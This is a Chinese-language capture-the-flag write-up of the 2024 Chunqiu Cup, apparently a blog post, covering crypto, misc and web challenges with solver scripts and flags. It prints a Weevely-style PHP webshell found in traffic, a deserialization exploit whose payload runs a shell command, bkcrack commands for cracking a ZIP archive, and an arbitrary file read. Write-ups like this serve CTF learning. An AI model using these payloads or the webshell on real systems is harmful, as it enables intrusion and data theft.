2024-春秋杯-wp

小趴菜刚开始学;当时就会这些题目

Day1

一:crypto

1、小哈斯

思路就是暴力穷举;将所有可能的单个字符一个一个通过sha1加密;然后与目标值进行比较;最后将符合条件的值连接到一起拿到flag
exp:

import hashlib
import string
# 计算给定文本的SHA1哈希值
def sha1_hash(text):
    return hashlib.sha1(text.encode('utf-8')).hexdigest()
def compare_sha1_with_file(filename):
    # 包含所有可能的单个字符:小写字母、大写字母、数字、特殊符号等
    possible_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    # 读取文件中的SHA1哈希值
    with open(filename, 'r') as file:
        hash_list = file.readlines()
    # 用于存放匹配的字符
    matched_chars = []
    # 遍历文件中的每一个哈希值并与所有字符的SHA1哈希值进行比对
    for hash_value in hash_list:
        hash_value = hash_value.strip()  # 去掉行末换行符
        for char in possible_chars:
            generated_hash = sha1_hash(char)
            if generated_hash == hash_value:
                matched_chars.append(char)  # 匹配到的字符加入列表
                break  # 一旦找到匹配就跳出循环
    # 将匹配的字符连接成一个字符串
    return ''.join(matched_chars)
filename = '1.txt'
# 获取匹配的字符并连接成一个字符串
matched_string = compare_sha1_with_file(filename)
# 输出连接后的字符串
print(f"匹配的字符连接在一起:{matched_string}")
#flag{game_cqb_isis_cxyz}

2、通往哈希的旅程

思路:一个简单的哈希爆破

import hashlib
# 生成从188开头的11位电话号码并计算其SHA-1哈希值
def find_matching_phone_number(target_hash):
    for i in range(1000000000):  # 从0到999999999生成9位数的号码
        phone_number = f"188{i:08d}"  # 生成以188开头的11位电话号码
        phone_number_hash = hashlib.sha1(phone_number.encode()).hexdigest()  # 计算SHA-1哈希值
        if phone_number_hash == target_hash:
            return phone_number
    return None
# 给定的哈希值
target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
# 查找匹配的电话号码
phone_number = find_matching_phone_number(target_hash)
if phone_number:
    print(f"flag{{{phone_number}}}")
else:
    print("没有找到匹配的电话号码")

二:web

1、easy_flask

思路:无过滤的SSTI注入;直接用fenjing梭哈
在这里插入图片描述

三:Misc

1、简单算数

思路:明文肯定包含flag{};利用异或的思路直接结合chat拿到flag

def xor_decrypt(ciphertext, key):
    decrypted_text = []
    key_length = len(key)
    for i in range(len(ciphertext)):
        decrypted_char = chr(ord(ciphertext[i]) ^ ord(key[i % key_length]))
        decrypted_text.append(decrypted_char)
    return ''.join(decrypted_text)
# 密文
ciphertext = "ys~xdg/m@]mjkz@vl@z~lf>b"
# 假设明文的开头是 "flag{",我们用此信息来推测密钥
known_plaintext = "flag{"
# 获取密文前几个字符与 "flag{" 对应的密钥字符
key_guess = []
for i in range(len(known_plaintext)):
    key_char = chr(ord(ciphertext[i]) ^ ord(known_plaintext[i]))
    key_guess.append(key_char)
# 生成推测的密钥
key = ''.join(key_guess)
print(f"推测的密钥: {key}")
# 使用推测的密钥解密整个密文
original_text = xor_decrypt(ciphertext, key)
print(f"解密后的明文: {original_text}")

2、压力大写个脚本吧

发现嵌套了100层压缩包;每个压缩包的密码是password_x.txt中内容进行base64解密;然后编写脚本批量解压得到flag-hint.txt;发现密码组合起来是png照片;于是修改脚本提取密码导入到010得到一张二维码;扫码得到flag!

#exp
import zipfile
import base64
import os
from collections import deque
def decode_base64(encoded_string):
    """Base64 解码函数"""
    return base64.b64decode(encoded_string).decode('utf-8')
def extract_zip(zip_path, output_dir, password=None):
    """解压缩zip文件"""
    if not os.path.exists(zip_path):
        print(f"错误: 文件 {zip_path} 不存在!")
        return None  # 返回None,表示没有找到要解压的文件
    try:
        with zipfile.ZipFile(zip_path, 'r') as zip_ref:
            print(f"尝试解压文件 {zip_path} 使用密码: {password}")  # 打印出当前密码
            # 如果密码不为空,解压时使用密码
            zip_ref.extractall(output_dir, pwd=password.encode() if password else None)
        return zip_ref.namelist()  # 返回解压后的文件列表
    except RuntimeError as e:
        print(f"错误: 解压 {zip_path} 时遇到问题: {e}")
        return None  # 如果解压失败返回None
def process_pass_file(pass_file):
    """读取password_n.txt文件"""
    with open(pass_file, 'r') as file:
        password = file.read().strip()
    return password
def solve_zip_chain(zip_file, output_dir, level=100):
    """递归解压嵌套的zip文件"""
    password_queue = deque()  # 使用队列来存储密码
    passwords = []  # 用于保存解码的密码
    current_level = level
    while current_level >= 0:
        level_dir = os.path.join(output_dir, f'level_{current_level}')
        os.makedirs(level_dir, exist_ok=True)
        # 解压当前层的zip文件
        print(f"解压层级 {current_level} 的文件: {zip_file}")
        password = password_queue[-1] if password_queue else None  # 获取当前层的密码
        extracted_files = extract_zip(zip_file, level_dir, password)
        if not extracted_files:
            break  # 解压失败,跳出
        # 获取当前层解压出来的文件
        files = os.listdir(level_dir)
        password_file = None
        next_zip_file = None
        # 查找password_n.txt和zip_n.zip文件
        for file in files:
            if file.endswith('.txt') and file.startswith('password_'):
                password_file = os.path.join(level_dir, file)
            elif file.endswith('.zip') and file.startswith('zip_'):
                next_zip_file = os.path.join(level_dir, file)
        # 如果找到password文件,读取并解码密码并放入队列
        if password_file:
            password = process_pass_file(password_file)  # 读取密码
            print(f"读取到密码文件 {password_file} 的密码: {password}")
            decoded_password = decode_base64(password)  # 解码base64密码
            print(f"解码后的密码: {decoded_password}")  # 打印解码后的密码
            password_queue.append(decoded_password)  # 将解码后的密码添加到队列
            passwords.append(decoded_password)  # 保存解码后的密码
        # 如果找到下一个zip文件,继续解压
        if next_zip_file:
            zip_file = next_zip_file  # 更新下一个zip文件路径
        else:
            break  # 如果没有下一个zip文件,结束解压
        current_level -= 1  # 递减层级
    # 将密码从最后到最开始保存到1.txt
    with open('1.txt', 'w') as file:
        for password in reversed(passwords):
            file.write(password + '\n')
def main():
    initial_zip = 'zip_100.zip'  # 起始的zip文件
    output_dir = 'unzipped'  # 输出目录
    # 创建输出目录
    if not os.path.exists(output_dir):
        os.makedirs(output_dir)
    # 开始解压
    solve_zip_chain(initial_zip, output_dir)

if __name__ == "__main__":
main()

3、See anything in these pics?

(1)首先得到一张类似与二维码的图片;题目提示是二维码aztec;使用在线网站识别解密得到压缩包密码
在这里插入图片描述

(2)解压得到一张图片;丢到随波逐流工具中
在这里插入图片描述
(3)分离得到一张新的png图片;继续丢到随波逐流工具中直接自动修复宽高拿到flag
在这里插入图片描述

4、简单镜像提取

思路:流量包追踪http流发现在传输zip压缩吧;提取流量包数据导入010解压得到disk-recovery.img;但是损坏了;需要修复;尝试使用diskgenies恢复!得到一个xls文件
在这里插入图片描述在这里插入图片描述

Day2

一:misc

1、Weevil’s Whisper

分析http流量发现匿名函数

<?php
$k="161ebd7d";#密钥
$kh="45089b3446ee";#开始标识符,用于标记加密数据的开始
$kf="4e0d86dbcf92";# 结束标识符,用于标记加密数据的结束
$p="lFDu8RwONqmag5ex";# 加密数据的前缀
function x($t,$k){#加密函数
$c=strlen($k);#获取密钥的长度
$l=strlen($t);#获取输入字符的长度
$o="";#用于存放加密或解密后的结果
for($i=0;$i<$l;){#遍历输入字符串
for($j=0;($j<$c&&$i<$l);$j++,$i++)#遍历密钥
{
$o.=$t[$i]^$k[$j];#执行异或操作
}
}
return $o;#返回加密和解密的字符串
}
#处理输入和加密输出
#file_get_contents("php://input") 读取http原始数据
#preg_match(提取被$kh 和 $kf包围的字符串;将中间的数据提取出来)
#提取成功之后将数据放在m数组中
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();#开始输出缓冲区,捕获之后的所有输出
#对输入中提取出来的数据进行base64解码;然后使用x函数进行解密
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));#解压
$o=@ob_get_contents();#获取执行结果
@ob_end_clean();#清空输出缓冲区
$r=@base64_encode(@x(@gzcompress($o),$k));
#对压缩后的数据进行 XOR 加密;最后将加密后的数据进行 Base64 编码
print("$p$kh$r$kf");
#输出加密结果lFDu8RwONqmag5ex45089b3446ee{加密数据}4e0d86dbcf92
}

根据匿名函数边界解密脚本

import base64
import zlib
# XOR 加密/解密函数(加密和解密使用相同的函数)
def xor_encrypt_decrypt(data, key):
    key_length = len(key)
    result = bytearray()
    i = 0
    for byte in data:
        result.append(byte ^ key[i % key_length])  # 执行异或操作
        i += 1
    return bytes(result)
# 解密函数
def decrypt_data(encrypted_data, key):
    # 去掉前缀 "lFDu8RwONqmag5ex45089b3446ee" 和后缀 "4e0d86dbcf92"
    encrypted_data = encrypted_data.replace("lFDu8RwONqmag5ex45089b3446ee", "").replace("4e0d86dbcf92", "")
    # 先进行 Base64 解码
    decoded_data = base64.b64decode(encrypted_data)
    # 使用 XOR 解密
    xor_decrypted_data = xor_encrypt_decrypt(decoded_data, key)
    # 解压数据
    try:
        decompressed_data = zlib.decompress(xor_decrypted_data)
        return decompressed_data.decode('utf-8')
    except zlib.error as e:
        return f"解压失败: {e}"
key = b"161ebd7d" 
# 第二个加密数据
encrypted_data_2 = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92"
decrypted_2 = decrypt_data(encrypted_data_2, key)
print("\n第二个数据解密结果:")
print(decrypted_2)

一个一个在流浪包里面翻响应的数据;在http 25中找到正确的数据
在这里插入图片描述
成功拿到flag
在这里插入图片描述

2、NetHttP

(1)wireshark发现RSA私钥;但是被加密了;需要使用openssl解密(需要密码;在http流找到密钥gdkfksy05lx0nv8dl)
在这里插入图片描述
在这里插入图片描述

解密
在这里插入图片描述

(2)通过分析流量发现攻击者才猜flag中的内容;于是提取流量

http contains "Welcome rce"

exp:

import base64
import urllib.parse
import re
def decode_rce_request(request_url):
    decoded_url = urllib.parse.unquote(request_url)
    if "echo aWYg" in decoded_url and " | base64 -d" in decoded_url:
        try:
            base64_encoded_str = decoded_url.split("echo aWYg")[1].split(" | base64 -d")[0].strip()
            decoded_base64 = base64.b64decode(base64_encoded_str).decode('utf-8')
            return decoded_base64
        except Exception as e:
            print(f"Error decoding request: {e}")
            return None
    else:
        print("Request URL does not contain expected pattern.")
        return None
def extract_flag_char_from_command(command):
    match = re.search(r"cut -c \d+\) == '([A-Za-z0-9\{\}\+\-])'", command)
    if match:
        return match.group(1)
    else:
        print("No valid flag character found in command.")
        return None
def process_flag_csv(file_path):
    all_flags = [] 
    with open(file_path, 'r') as file:
        lines = file.readlines()
    for line in lines:
        request_url = line.strip()  
        decoded_command = decode_rce_request(request_url)
        if decoded_command:
            print(f"Decoded command: {decoded_command}")
            flag_char = extract_flag_char_from_command(decoded_command)
            if flag_char:
                print(f"Found flag character: {flag_char}")
                all_flags.append(flag_char) 
            else:
                print("Flag character not found in this command.")
                all_flags.append('=') 
        else:
            print("Skipping invalid command.")
            all_flags.append('=')  
    final_flag = ''.join(all_flags)
    print(f"Final Flag content: {final_flag}")
    return final_flag
file_path = '4.csv' 
final_flag = process_flag_csv(file_path)

在这里插入图片描述

解密;使用cyber工具进行base64解密

#密文:UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==
#先进行base64解密;然后RSA解密

在这里插入图片描述
flag{343907d2-35a3-4bfe-a5e1-5d6615157851}

二:web

1、easy_ser

思路:简单的一道POP链子的题目;首先看waf(非常简单;看着是过滤了很多内容;实则用base64编码就可以绕过waf);审计代码发现只需要构造这三个类 STUSDUCTF就可以成功!

exp:

<?php
// 触发反序列化漏洞的构造代码

class STU{
    public $stu;
}
class SDU{
    public $Dazhuan;
}
class CTF{
    public $hackman = "PD89YHRhYyAvZipgOw==";  #绕过waf脚本base64加密
#<?=`tac /f*`;
    public $filename = 'flag.php'; 
}
$sdu = new SDU();
$stu = new STU();
$ctf = new CTF();
$sdu->Dazhuan = $stu;
$stu->stu = $ctf;
echo serialize($sdu);
?>
data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7
:"hackman";s:20:"PD89YHRhYyAvZipgOw==";s:8:"filename";s:9:"flag2.php";
}}}

base64绕过waf!
在这里插入图片描述
生成序列化数据;发送请求
在这里插入图片描述
在这里插入图片描述

Day3

一:crypto

1、funny_rsa

思路:我太蠢了;当时只想到这个方法
(1)首先利用funny3和funny2计算出n;n = (funny3 + 1025) // funny2
在这里插入图片描述

(2)现在知道了n;通过p+q - p*q + random.randint(-1025, +1025)可以暴力枚举出(-1025 +1025所有的可能);又因为phi=(q-1)(p-1)=n-(q+p)+1;就可以枚举出所有phi的可能
在这里插入图片描述

(3)知道phi e c n就可计算出hint
在这里插入图片描述
(4)根据hint*m=funny2;可以算出m;也就是最终的flag
在这里插入图片描述
exp:

# #计算n
# # 给定的值
# funny3 = 
# funny2 = 
# # 计算 n
# n = (funny3 + 1025) // funny2

# # 输出结果
# print(f"The value of n is: {n}")
# #n=
# # 定义已知的值
# funny1 = 
# n = 
# # 暴力测试区间内的所有 random_value
# phi_values = []
# for random_value in range(-1025, 1026):
    # # 计算 P+q的可能
    # p_plus_q = funny1 + n - random_value
    # # 计算 φ(n)的值
    # phi_n = n - p_plus_q + 1
    # # 将结果添加到列表中
    # phi_values.append(phi_n)
# file_path = "flag1.txt"
# with open(file_path, 'w') as file:
    # for phi in phi_values:
        # file.write(f"{phi}\n")
# # 输出文件路径
# print(f"Phi values have been saved to: {file_path}")

# import gmpy2
# from Crypto.Util.number import long_to_bytes

# e = 65537
# c = 
# n = 
# # 读取 flag1.txt 中的所有 phi 值
# with open('flag1.txt', 'r') as file:
    # phi_values = [int(line.strip()) for line in file]
# # 打开 flag2.txt 文件进行写入
# with open('flag2.txt', 'w') as output_file:
    # for phi_n in phi_values:
        # try:
            # # 使用 gmpy2 计算私钥 d
            # d = gmpy2.invert(e, phi_n)
            # # 使用私钥 d 解密密文
            # m = pow(c, d, n)
            # # 将解密后的整数转换为字节
            # decrypted_message = long_to_bytes(m)
            # # 将字节转为可见字符
            # decoded_message = ''.join(chr(b) for b in decrypted_message if 32 <= b <= 126)  # 只取可打印字符
            # # 将解密后的明文写入到 flag2.txt 文件
            # output_file.write(decoded_message + '\n')
        # except Exception as error:
            # pass  # 忽略错误,继续尝试下一个 phi_n
# print("解密后的明文已保存到 flag2.txt")
# from Crypto.Util.number import bytes_to_long
# from Crypto.Util.number import long_to_bytes
# # 给定的 result
# result = 
# # 给定的 hint
# hint = "Of course, So good, and enjoy the funny number, it is true flag"
# # 计算 bytes_to_long(hint)
# hint_long = bytes_to_long(hint.encode('utf-8'))
# # 计算 m
# m = result // hint_long
# # 将 m 转换为字节
# decrypted_bytes = long_to_bytes(m)
# # 将字节转换为字符串(解码)
# decrypted_message = decrypted_bytes.decode('utf-8', errors='ignore')  # 忽略无效字符
# print(decrypted_message)
from Crypto.Util.number import long_to_bytes
# 给定的数字
number = 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
# 将数字转换为字节
bytes_value = long_to_bytes(number)
# 将字节转换为字符
decoded_message = ''.join(chr(b) for b in bytes_value if 32 <= b <= 126)  # 只取可打印字符
print(decoded_message)

二:misc

1、音频的秘密

(1)题目提示是wav隐写为deepsound加密;爆破出密钥为123;得到flag.zip(笑死;发现是0解才给的提示
在这里插入图片描述
(2)字典爆破不出来;7zip打开发现;明显的已知明文攻击;参考文章https://blog.youkuaiyun.com/qq_43007452/article/details/135607308
在这里插入图片描述

明文攻击,通常需要拥有一个与压缩包内一样的文件才能完成;但是我们这里利用ZipCrypto Store的特性,只需要知道加密压缩包内容的12个字节;就可以对该压缩包进行明文攻击破解;而该压缩包内的flag.png的12个字节的文件头是固定的与其他任何png文件一样;PNG文件十六进制头:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header

使用bkcrack工具进行破解

./bkcrack -C flag.zip -c flag.png -p png_header -o 0

在这里插入图片描述
接下来就是利用密钥,把flag.png文件解密

./bkcrack -C flag.zip -c flag.png -k 29d29517 0fa535a9 abc67696 -d 1.png

在这里插入图片描述
得到1.png;然后工具直接梭哈出flag
在这里插入图片描述

2、Infinity

思路:发现多层嵌套文件;并且文件名很奇怪;题目提示:BASE58-Ripple、SM4-ECB;估计是用文件名拼接在一起解密

(1)exp

import zipfile
import os
import rarfile
import tarfile
import py7zr
def extract_zip(zip_path, output_dir):
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(output_dir)
        return zip_ref.namelist()
def extract_rar(rar_path, output_dir):
    with rarfile.RarFile(rar_path) as rar_ref:
        rar_ref.extractall(output_dir)
        return rar_ref.namelist()
def extract_tar(tar_path, output_dir):
    with tarfile.open(tar_path, 'r') as tar_ref:
        tar_ref.extractall(output_dir)
        return tar_ref.getnames()
def extract_7z(seven_zip_path, output_dir):
    with py7zr.SevenZipFile(seven_zip_path, mode='r') as archive:
        archive.extractall(path=output_dir)
        return archive.getnames()

def solve_zip_chain(file_path, output_dir):
    file_sequence = []
    while True:
        if file_path.endswith('.zip'):
            extracted_files = extract_zip(file_path, output_dir)
        elif file_path.endswith('.rar'):
            extracted_files = extract_rar(file_path, output_dir)
        elif file_path.endswith('.tar'):
            extracted_files = extract_tar(file_path, output_dir)
        elif file_path.endswith('.7z'):
            extracted_files = extract_7z(file_path, output_dir)
        if not extracted_files:
            break
        file_sequence.extend([os.path.splitext(f)[0] for f in extracted_files])
        found_next_file = False
        for extracted_file in extracted_files:
            next_file_path = os.path.join(output_dir, extracted_file)
            if next_file_path.endswith(('.zip', '.rar', '.tar', '.7z')):
                file_path = next_file_path
                found_next_file = True
                break
        if not found_next_file:
            break
    final_file_sequence = ''.join(file_sequence[::-1])
    return final_file_sequence
def main():
    initial_file = "1.zip"
    output_dir = "unzipped"
    final_sequence = solve_zip_chain(initial_file, output_dir)
    print(f"拼接结果:{final_sequence}")

if __name__ == "__main__":
    main()

得到提取数据;并且密钥为:Inf1nityIsS0CoOL;解密
在这里插入图片描述
(2)问chat这个二维码是哪种类型;给出很多种类;最终尝试为

在这里插入图片描述
解密拿到flag!很抽象!
![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传](https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=assets%2Fimage-20250119204712-67mxr5n.png&pos_id=img-yeYOa3sZ-1740028927367

3、web

1、easy_php

(1)点击按钮会下载www.zip文件

漏洞点:

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
#ini_set('open_basedir','/var/www/html/phar2');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>

存在该文件的话就输出文件的内容;不存在会提示信息;直接fuzz测试发现根目录存在flag;而且没有任何过滤

?file=/flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巅峰赛2000分以下是巅峰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值